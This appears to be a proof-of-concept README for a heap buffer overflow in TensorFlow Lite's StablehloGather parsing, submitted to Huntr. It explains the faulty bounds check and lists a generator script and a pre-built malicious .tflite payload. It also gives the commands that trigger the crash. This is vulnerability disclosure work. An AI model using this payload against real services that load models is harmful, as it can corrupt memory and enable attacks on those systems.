mfv-tflite-gather-overflow

TFLite StablehloGather Heap Buffer Overflow PoC

CVE: TBD (submitted to Huntr) Target: TFLite (.tflite) – Google / TensorFlow 2.19.0 Vulnerability: Heap buffer overflow in ParseStablehloGather() → SIGABRT (exit 134)

Root Cause

ParseStablehloGather() in flatbuffer_conversions.cc calls FlatBufferIntVectorToArray() with max_size_of_buffer = schema_params->offset_dims()->size() * sizeof(int64_t) — a self-referential bound (source size, not destination capacity). The overflow guard num_dimensions > max_size_of_buffer/sizeof(T) reduces to size > size = always false.

Destination: TfLiteStablehloGatherParams::offset_dims[8] (64 bytes) Sending 64 entries writes 512 bytes → overflows 448 bytes into adjacent heap memory.

Files

• tflite_poc.py — generates the malicious .tflite model
• tflite_gather_overflow.tflite — pre-built payload (64 offset_dims)

Trigger

pip install tensorflow flatbuffers tflite
python3 tflite_poc.py
python3 -c "
import tensorflow as tf, numpy as np
i = tf.lite.Interpreter('tflite_gather_overflow.tflite')
i.allocate_tensors()
i.set_tensor(0, np.zeros([4], dtype=np.float32))
i.set_tensor(1, np.zeros([1,1], dtype=np.int32))
i.invoke()
"
# → exit 134 (SIGABRT)